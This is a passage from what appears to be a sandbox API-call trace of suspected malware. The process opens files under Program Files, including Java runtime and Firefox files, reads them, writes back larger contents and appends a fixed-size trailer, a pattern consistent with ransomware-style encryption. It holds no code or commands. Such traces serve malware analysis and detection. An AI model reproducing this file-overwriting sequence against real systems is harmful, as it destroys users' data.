(hObject=0x170) returned 1 [0046.817] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.817] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.817] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xea8 [0046.817] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.817] ReleaseMutex (hMutex=0x128) returned 1 [0046.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_HK.properties", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0046.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_HK.properties", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_zh_HK.properties", lpUsedDefaultChar=0x0) returned 25 [0046.818] ReadFile (in: hFile=0x170, lpBuffer=0x26153d8, nNumberOfBytesToRead=0xea8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26153d8*, lpNumberOfBytesRead=0x318f2bc*=0xea8, lpOverlapped=0x0) returned 1 [0046.832] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0046.832] WriteFile (in: hFile=0x170, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x318f2d0*=0x1430, lpOverlapped=0x0) returned 1 [0046.833] CloseHandle (hObject=0x170) returned 1 [0046.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.834] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.834] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3057d [0046.834] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.834] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.834] ReleaseMutex (hMutex=0x128) returned 1 [0046.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunjce_provider.jar", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0046.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunjce_provider.jar", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sunjce_provider.jar", lpUsedDefaultChar=0x0) returned 19 [0046.834] ReadFile (in: hFile=0x170, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.839] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2f57d [0046.839] ReadFile (in: hFile=0x170, lpBuffer=0x261c3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261c3c8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.845] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2f57d [0046.845] WriteFile (in: hFile=0x170, lpBuffer=0x261a398*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261a398*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.845] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.845] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.845] CloseHandle (hObject=0x170) returned 1 [0046.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.847] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.847] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5434c [0046.847] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.847] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.847] ReleaseMutex (hMutex=0x128) returned 1 [0046.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightRegular.ttf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0046.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightRegular.ttf", cchWideChar=23, lpMultiByteStr=0x1e78c44, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaBrightRegular.ttf", lpUsedDefaultChar=0x0) returned 23 [0046.847] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.861] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5334c [0046.861] ReadFile (in: hFile=0x170, lpBuffer=0x1de7e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7e48*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.864] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5334c [0046.864] WriteFile (in: hFile=0x170, lpBuffer=0x1deaea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.864] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.865] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.865] CloseHandle (hObject=0x170) returned 1 [0046.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.866] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.866] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa8 [0046.866] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.866] ReleaseMutex (hMutex=0x128) returned 1 [0046.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_LinkDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0046.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_LinkDrop32x32.gif", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_LinkDrop32x32.gif", lpUsedDefaultChar=0x0) returned 23 [0046.866] ReadFile (in: hFile=0x170, lpBuffer=0x1e37308, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37308*, lpNumberOfBytesRead=0x318f2bc*=0xa8, lpOverlapped=0x0) returned 1 [0046.867] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0046.867] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x630, lpOverlapped=0x0) returned 1 [0046.867] CloseHandle (hObject=0x170) returned 1 [0046.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.868] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.868] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xce642c [0046.868] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.868] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.868] ReleaseMutex (hMutex=0x128) returned 1 [0046.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jfxrt.jar", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jfxrt.jar", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jfxrt.jar", lpUsedDefaultChar=0x0) returned 9 [0046.868] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.874] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.878] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.884] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.892] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.893] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.894] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e9f0000 [0046.900] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.900] VirtualQuery (in: lpAddress=0x7ea50000, lpBuffer=0x318f23c, dwLength=0x1c | out: lpBuffer=0x318f23c*(BaseAddress=0x7ea50000, AllocationBase=0x7ea50000, AllocationProtect=0x4, RegionSize=0x170000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.901] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e970000 [0046.906] VirtualFree (lpAddress=0x7e9f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.908] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.100] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.100] VirtualQuery (in: lpAddress=0x7e9f0000, lpBuffer=0x318f23c, dwLength=0x1c | out: lpBuffer=0x318f23c*(BaseAddress=0x7e9f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1d0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0047.100] VirtualAlloc (lpAddress=0x7e9f0000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e9f0000 [0047.100] VirtualAlloc (lpAddress=0x7e9f0000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e9f0000 [0047.101] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xce442c [0047.101] ReadFile (in: hFile=0x170, lpBuffer=0x3a4a588, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0047.114] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xce442c [0047.116] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0048.489] LocalFree (hMem=0x70da60) returned 0x0 [0048.489] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.489] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0048.489] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.489] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.489] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\priced-architect-gamespot.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\priced-architect-gamespot.exe")) returned 0x20 [0048.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x54e [0048.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.490] ReleaseMutex (hMutex=0x128) returned 1 [0048.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.rdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.rdf", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.rdf", lpUsedDefaultChar=0x0) returned 11 [0048.490] ReadFile (in: hFile=0x198, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x54e, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x318f2bc*=0x54e, lpOverlapped=0x0) returned 1 [0048.492] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.492] WriteFile (in: hFile=0x198, lpBuffer=0x280edb8*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesWritten=0x318f2d0*=0xad6, lpOverlapped=0x0) returned 1 [0048.492] CloseHandle (hObject=0x198) returned 1 [0048.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.493] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.493] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d270 [0048.493] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.493] ReleaseMutex (hMutex=0x128) returned 1 [0048.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0048.493] ReadFile (in: hFile=0x198, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.495] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1c270 [0048.495] ReadFile (in: hFile=0x198, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1c270 [0048.497] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.497] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.497] CloseHandle (hObject=0x198) returned 1 [0048.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\smartftp.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\smartftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\smartftp.exe", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\smartftp.exe", lpFilePart=0x318f690*="smartftp.exe") returned 0x33 [0048.498] GetLastError () returned 0x20 [0048.498] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̘폈H̘퐔H̘L̘꤀Ǧ\x01") returned 0x51 [0048.498] LocalFree (hMem=0x70da60) returned 0x0 [0048.498] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.498] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0048.498] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.498] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\smartftp.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\smartftp.exe")) returned 0x20 [0048.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1a670 [0048.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: 